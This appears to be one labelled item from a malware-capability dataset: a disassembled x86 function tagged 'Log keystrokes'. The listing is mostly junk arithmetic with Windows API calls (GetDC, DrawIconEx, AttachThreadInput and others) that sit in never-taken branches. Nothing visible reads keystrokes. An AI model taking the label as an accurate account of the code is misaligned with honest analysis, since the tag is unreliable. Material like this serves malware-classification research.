Function at 0x1001ad89
Capabilities:
Log keystrokes

Disassembly:
mov eax, 0x1007b2e4
call fcn.1007a810
sub esp, 0x1a8
push ebx
push esi
push edi
mov dword [ebp - 0x68], ecx
lea ecx, [ebp - 0x178]
push 4
mov dword [ebp - 0x38], edx
call fcn.10018ca8
push 3
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x108]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], 0xfffffff8
push esi
call fcn.10018ca8
push 4
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 1
call fcn.10018ca8
mov dword [ebp - 0x28], 0x3b8cff26
push 4
mov dword [ebp - 0x2c], 0xdaffa898
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x1001ae04
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], 0xbbca
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001adf1
xor edi, edi
mov dword [ebp - 0x14], ebx
inc edi
cmp dword [ebp - 0x14], esi
jge 0x1001ae25
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x108]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
jmp 0x1001ae0f
mov dword [ebp - 0x14], ebx
jmp 0x1001ae39
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x120]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001ae2a
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], ebx
jl 0x1001ae71
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x18], ebx
jmp 0x1001ae63
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ac], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001ae52
dec dword [ebp - 0x28]
dec dword [ebp - 0x20]
jns 0x1001ae46
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x108]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x120]
call fcn.1001953a
lea ecx, [ebp - 0x108]
call fcn.1001953a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.1001953a
mov dword [ebp - 0x18], 0xffffffff
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x20], 0xaee5a986
mov dword [ebp - 0x14], edi
push 2
call fcn.10018ca8
push 2
pop edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x14], 0x3e7a3298
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x14], ebx
jmp 0x1001aef3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd8]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001aee3
mov ecx, ebx
cmp dword [ebp - 0x18], ebx
je 0x1001af01
mov ecx, edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x20], 9
test eax, eax
je 0x1001af77
mov dword [ebp - 0x28], 0x5d367296
mov dword [ebp - 0x20], 0xffffffe9
jmp 0x1001af6c
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
sub ecx, 0x3ca3
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 7
setne al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
sub eax, 6
neg eax
sbb eax, eax
add eax, 3
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jge 0x1001af28
jmp 0x1001b0e9
push esi
lea ecx, [ebp - 0xa8]
call fcn.10018ca8
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x2c], 0x75314680
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x14], ebx
jmp 0x1001afb0
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xa8]
mov dword [eax + ecx*4], 0x8b01197b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001af9d
mov dword [ebp - 0x14], ebx
jmp 0x1001afcb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x148], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001afba
mov dword [ebp - 0x14], ebx
jmp 0x1001afe9
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001afe6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1001afd5
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0xa8]
xor eax, eax
mov ecx, dword [esi + 4]
test ecx, ecx
setne al
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
or eax, 0xffffffff
sub eax, ecx
mov ecx, dword [ebp - 0xa8]
imul eax, dword [ecx + 8]
cmp eax, 0xad706983
jbe 0x1001b033
mov eax, ebx
cmp dword [ecx], ebx
je 0x1001b035
mov eax, edi
xor ecx, ecx
cmp eax, 9
sete cl
xor edx, edx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x148]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x1001b067
mov edx, ebx
cmp dword [esi + 4], ebx
je 0x1001b069
mov edx, edi
mov eax, dword [esi + 4]
xor ecx, ecx
cmp edx, 0x71f6e690
mov dword [ebp - 0x14], eax
setne cl
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x28]
sub edx, dword [esi + 4]
mov eax, dword [ebp - 0xd8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp dword [eax], edx
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x28]
setne cl
imul eax, ecx
mov ecx, dword [ebp - 0x30]
neg ecx
imul eax, eax, 0x584e2110
sub ecx, eax
cmp ecx, 0xfffa
jb 0x1001b0d0
mov eax, edi
cmp dword [ebp - 0x2c], ebx
jne 0x1001b0d2
mov eax, ebx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0xa8]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
call fcn.1001953a
push 3
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd8]
call fcn.1001953a
push esi
lea ecx, [ebp - 0x74]
call fcn.10018ca8
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0xffffffff
push 7
pop eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x28], 0xa9d45c54
mov dword [ebp - 0x14], ebx
jmp 0x1001b139
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x74]
mov dword [eax + ecx*4], 0x6c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001b129
mov dword [ebp - 0x14], ebx
jmp 0x1001b154
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc0], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001b143
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov esi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x18]
push 3
mov edx, dword [esi + 8]
add eax, edx
cmp eax, edx
setne cl
sub ecx, edx
xor edx, edx
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb8]
cmp eax, 0x58d0336d
mov esi, dword [esi + 8]
setl dl
xor ecx, ecx
imul edx, esi
neg edx
cmp edx, 0x5a52
setge cl
xor eax, eax
cmp ecx, esi
pop esi
setl al
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ebx
jl 0x1001b268
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x1001b252
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x20], ebx
jmp 0x1001b249
mov dword [ebp - 0x30], 0xca727646
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xc0], ebx
je 0x1001b1f3
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + ecx*4]
neg eax
jne 0x1001b210
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0x74]
cmp dword [eax + ecx*4], ebx
je 0x1001b212
mov edx, edi
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xcd0a
setg al
imul eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x84]
sub ecx, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x1001b1d6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1001b1ca
inc dword [ebp - 0x28]
dec dword [ebp - 0x14]
jns 0x1001b1bb
lea ecx, [ebp - 0x74]
call fcn.1001953a
push 4
lea ecx, [ebp - 0x154]
call fcn.10018ca8
push 2
lea ecx, [ebp - 0x184]
mov dword [ebp - 4], esi
call fcn.10018ca8
mov dword [ebp - 0x1c], ebx
jmp 0x1001b2a5
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x184]
mov dword [eax + ecx*4], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001b292
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001b2bf
push 0x1948
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001b2e2
push ebx
push ebx
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
lea ecx, [ebp - 0x184]
call fcn.1001953a
mov dword [ebp - 0x18], 0xfffffff8
lea ecx, [ebp - 0xfc]
push 3
call fcn.10018ca8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], 0x59951ea6
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x2c], ebx
push 1
call fcn.10018ca8
mov byte [ebp - 4], 5
lea eax, [ebp - 0x194]
push dword [ebp - 0x38]
movdqa xmm0, xmmword [0x10007960]
lea ecx, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x1a4]
mov dword [ebp - 0x2c], 0xfffffff6
push eax
mov dword [ebp - 0x2c], 0xf1e5c8a5
push ebx
movdqu xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
call fcn.1001a322
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x14], ebx
jmp 0x1001b392
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x130], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001b385
mov dword [ebp - 0x14], ebx
jmp 0x1001b3ab
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x160]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001b39c
mov dword [ebp - 0x20], ebx
jmp 0x1001b41c
mov dword [ebp - 0x2c], 0xb25b3b9d
mov dword [ebp - 0x2c], 0xec62
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1001b3d9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48], 0xff82ff40
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1001b3cb
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001b416
push 0x1374
push ebx
push 0x2106
push 0xca0
push 0x2349
push ebx
push 0x1db5
push 0x17ad
call edi
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
xor edx, edx
inc edx
dec dword [ebp - 0x28]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1001b3b5
lea ecx, [ebp - 0x9c]
call fcn.1001953a
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 4
call fcn.1001953a
push 4
lea ecx, [ebp - 0x13c]
call fcn.10018ca8
push 3
pop esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x2c], 0x3b8cff26
push esi
call fcn.10018ca8
xor edi, edi
inc edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0xffffffff
push 7
pop eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x28], 0xa9d45c54
mov dword [ebp - 0x14], ebx
jmp 0x1001b497
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
mov dword [eax + ecx*4], 0x6c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001b487
mov dword [ebp - 0x14], ebx
jmp 0x1001b4b2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf0], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001b4a1
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov esi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov edx, dword [esi + 8]
add eax, edx
cmp eax, edx
setne cl
sub ecx, edx
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe8]
cmp eax, 0x58d0336d
mov edx, dword [esi + 8]
setl cl
xor eax, eax
imul ecx, edx
neg ecx
cmp ecx, 0x5a52
setge al
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x1001b5b9
push 2
pop esi
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x1001b5a4
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x20], ebx
jmp 0x1001b59c
mov dword [ebp - 0x1c], 0xca727646
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xf0], ebx
je 0x1001b54c
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + ecx*4]
neg eax
jne 0x1001b569
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0x54]
cmp dword [eax + ecx*4], ebx
je 0x1001b56b
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xcd0a
setg al
imul eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x64]
sub ecx, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1001b532
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001b526
inc dword [ebp - 0x28]
dec dword [ebp - 0x14]
jns 0x1001b51a
lea ecx, [ebp - 0x54]
call fcn.1001953a
mov dword [ebp - 0x28], 0xdaffa898
lea ecx, [ebp - 0x16c]
push edi
call fcn.10018ca8
xor edx, edx
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1001b5ea
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x34], 0x17571177
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001b5dc
mov dword [ebp - 0x14], ebx
jmp 0x1001b603
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x16c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001b5f4
mov dword [ebp - 0x34], ebx
jmp 0x1001b627
mov dword [ebp - 0x28], 0x51cdcb36
mov dword [ebp - 0x30], 5
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe7
jne 0x1001b60d
lea ecx, [ebp - 0x16c]
call fcn.1001953a
mov dword [ebp - 0x14], ebx
jmp 0x1001b650
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x154]
mov dword [eax + ecx*4], 0xbbca
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001b63d
push 3
xor esi, esi
mov dword [ebp - 0x14], 0xffffffff
pop edi
inc esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0xcc]
push edi
call fcn.10018ca8
mov dword [ebp - 0x1c], ebx
jmp 0x1001b68d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xcc]
mov dword [eax + ecx*4], 0xca9869ec
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001b67a
mov dword [ebp - 0x14], 0xffffffee
jmp 0x1001b6a8
mov dword [ebp - 0x28], 0x961c0f80
inc dword [ebp - 0x28]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001b69b
mov dword [ebp - 0x14], ebx
jmp 0x1001b6c6
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xcc]
mov dword [eax + ecx*4], 0x85a1fa14
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001b6b3
lea ecx, [ebp - 0xcc]
call fcn.1001953a
mov dword [ebp - 0x14], ebx
jmp 0x1001b6ea
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xfc]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001b6db
push 2
lea ecx, [ebp - 0xb4]
call fcn.10018ca8
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1001b71a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb4]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001b70b
mov edx, dword [ebp - 0xb4]
mov eax, dword [edx + 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xa019
setg al
xor ecx, ecx
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov edx, dword [edx + 4]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setge cl
neg ecx
cmp ecx, edx
jg 0x1001b785
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001b7c5
push ebx
push 0xb56
push 0x9be
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x1001b7c5
mov dword [ebp - 0x18], ebx
jmp 0x1001b7a2
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001b79f
push 0x26ca
push ebx
call dword [sym.imp.USER32.dll_CharLowerBuffW]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001b78a
mov dword [ebp - 0x14], ebx
jmp 0x1001b7bf
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb4]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001b7ac
lea ecx, [ebp - 0xb4]
call fcn.1001953a
mov dword [ebp - 0x14], ebx
jmp 0x1001b7e4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x13c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001b7d5
push 2
lea ecx, [ebp - 0x90]
call fcn.10018ca8
mov dword [ebp - 0x18], 0xc08901f2
mov dword [ebp - 0x20], 0xdfe0091d
mov dword [ebp - 0x1c], ebx
jmp 0x1001b81d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x90]
mov dword [eax + ecx*4], 0xfffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001b80a
xor edx, edx
inc edx
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], ebx
jl 0x1001b88b
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], ebx
jl 0x1001b86b
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], ebx
jmp 0x1001b852
mov dword [ebp - 0x28], 0x4800fa7
dec dword [ebp - 0x28]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1001b845
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x90]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x30]
jns 0x1001b839
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ebx
jl 0x1001b886
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x90]
cmp dword [eax + ecx*4], ebx
jne 0x1001b886
dec dword [ebp - 0x20]
jns 0x1001b873
dec dword [ebp - 0x18]
jns 0x1001b82e
lea ecx, [ebp - 0x90]
call fcn.1001953a
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x1001b9dc
xor esi, esi
inc esi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x1c], ebx
jmp 0x1001b8c2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001b8b1
mov dword [ebp - 0x20], 0xfffffffa
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x28], 0xc5440874
mov dword [ebp - 0x28], 0xa4c924b5
push 4
call fcn.10018ca8
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x28], 0x741311e2
push esi
call fcn.10018ca8
mov dword [ebp - 0x14], ebx
jmp 0x1001b920
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], 0x9333c7d2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001b90d
mov dword [ebp - 0x14], ebx
jmp 0x1001b93e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x12c]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1001b92b
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xce96b779
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
setge cl
imul ecx, dword [ebp - 0x20]
imul eax, ecx, 0xffff
test eax, eax
je 0x1001b97c
mov ecx, esi
cmp dword [ebp - 0x20], ebx
jne 0x1001b97e
mov ecx, ebx
push 0xfffffffffffffffd
pop eax
sub eax, ecx
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, 0x45714ffd
setne dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0xe4]
setle cl
add ecx, dword [eax]
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x12c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
call fcn.1001953a
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 6
call fcn.1001953a
dec dword [ebp - 0x2c]
dec dword [ebp - 0x18]
jns 0x1001b8a5
mov dword [ebp - 0x18], ebx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xfc]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x13c]
call fcn.1001953a
lea ecx, [ebp - 0xfc]
call fcn.1001953a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.1001953a
push dword [ebp - 0x48]
movdqa xmm0, xmmword [0x10007980]
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x194]
mov dword [ebp - 0x44], ebx
push eax
push ebx
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x40], ebx
movdqu xmmword [ebp - 0x194], xmm0
mov dword [ebp - 0x3c], ebx
call fcn.1001a322
mov dword [ebp - 4], 8
mov dword [ebp - 0x14], 0x5c8094a1
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], ebx
jl 0x1001bb00
push 2
lea ecx, [ebp - 0x114]
call fcn.10018ca8
mov dword [ebp - 0x2c], 0xb885b3d9
mov dword [ebp - 0x1c], ebx
jmp 0x1001ba89
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x114]
mov dword [eax + ecx*4], 0xc4365dea
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001ba76
mov edi, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x14]
sub ecx, 0xfd52
mov eax, dword [edi + 4]
add ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
cmp ecx, 0xfffffffc
sbb eax, eax
neg eax
cmp eax, 0xfffffffb
jg 0x1001bab9
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax + ecx*4]
mov dword [edx + esi*4], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax + ecx*4]
lea ecx, [ebp - 0x114]
mov dword [edi + 4], eax
mov dword [ebp - 0x2c], eax
call fcn.1001953a
dec dword [ebp - 0x14]
jns 0x1001ba5d
push 3
pop edi
lea ecx, [ebp - 0x44]
call fcn.1001953a
mov edx, dword [ebp - 0x68]
mov dword [edx], ebx
cmp dword [edx], edi
jge 0x1001bb25
mov esi, dword [ebp - 0x38]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 1
inc dword [edx]
cmp dword [edx], edi
jl 0x1001bb14
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret